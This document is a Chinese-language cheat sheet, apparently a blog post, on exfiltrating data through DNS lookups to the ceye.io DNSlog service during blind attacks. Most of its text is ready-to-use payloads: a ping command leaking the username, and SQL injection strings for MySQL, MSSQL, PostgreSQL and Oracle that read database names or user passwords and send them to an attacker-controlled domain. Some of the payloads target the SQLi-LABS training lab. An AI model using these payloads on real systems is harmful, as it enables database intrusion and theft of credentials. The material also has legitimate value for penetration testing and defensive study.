参考文献:www.anquanke.com/post/id/98096
https://bbs.pediy.com/thread-223881.htm
DNSlog在Web攻击的利用
在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起DNS请求,这个时候就可以通过DNSlog
把想获得的数据外带出来。
常用情况
SQL注入中的盲注
无回显的命令执行
无回显的SSRF
原理
攻击者提交注入语句,让数据库把需要查询的值和域名拼接起来,然后发生DNS查询,只要能获得DNS的日志,就得到了想要的值。
- 推荐一个免费的dnslog平台:http://ceye.io
1.命令执行
ping %USERNAME%.xxxxxx.ceye.io
2.MySQL
load_file
在MySQL中有个load_file()
函数可以用来读取本地的文件,load_file()
函数还可以用来发送dns解析请求
以SQLi-LABS 第五关为例:
payload:?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxxxx.ceye.io\\abc'))),1,1)--+
payload:
?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'.xxxxxx.ceye.io\\abc'))),1,1)--+
concat()函数拼接了4个\
了,因为转义的原因,\\\\
就变成了\\
,目的就是利用UNC路径
。
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。在Widnows中用共享文件的时候就会用到这种网络地址的形式
\\sss.xxx\test\
- Linux没有UNC路径这个东西,当MySQL处于Linux系统中的时候,不能使用这种方式外带数据的
3.msSQL
DECLARE @host varchar(1024);
SELECT @host=(SELECT master.dbo.fn_varbintohexstr(convert(varbinary,rtrim(pass)))
FROM test.dbo.test_user where [USER] = 'admin')%2b'.cece.nk40ci.ceye.io';
EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"');
4.postgreSQL
DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN SELECT INTO query_result (select encode(pass::bytea,'hex') from test_user where id =1);
exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.pSQL.3.nk40ci.ceye.io\\\\foobar.txt\'';EXECUTE exec_cmd;
END;
$$ LANGUAGE plpgSQL SECURITY DEFINER;
SELECT temp_function();
5.SQL Server
存储程序master..xp_dirtree()
用于获取所有文件夹的列表和给定文件夹内部的子文件夹。
DECLARE @host varchar(1024);
注册一个名为@host的变量,类型为varchar。
SELECT @host=CONVERT(varchar(1024),db_name())+'.xxxxxxxxx.ceye.io';
获取db_name()然后转换成varchar类型,然后吧获取的db_name()返回值拼接到dnslog平台给我们的子域名里面,然后赋值给@host变量。
EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');
列远程主机的foobar$目录,由于是远程主机,所以会做一个dns解析,这样我们的dns平台就能得到日志了
http://xxxx.com.cn/?Id=123';DECLARE @host varchar(1024);SELECT @host=CONVERT(varchar(1024),db_name())+'.xxxxxxxxx.ceye.io';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');--
6.Oracle
UTL_HTTP.REQUEST
select name from test_user where id =1 union SELECT UTL_HTTP.REQUEST((select pass from test_user where id=1)||'.xxxxxx.ceye.io') FROM sys.DUAL;
DBMS_LDAP.INIT
select name from test_user where id =1 union SELECT DBMS_LDAP.INIT((select pass from test_user where id=1)||'.xxxxxx.ceye.io',80) FROM sys.DUAL;
HTTPURITYPE
select name from test_user where id =1 union SELECT HTTPURITYPE((select pass from test_user where id=1)||'.xx.xxxxxx.ceye.io').GETCLOB() FROM sys.DUAL;
UTL_INADDR.GET_HOST_ADDRESS
select name from test_user where id =1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select pass from test_user where id=1)||'.ddd.xxxxxx.ceye.io') FROM sys.DUAL;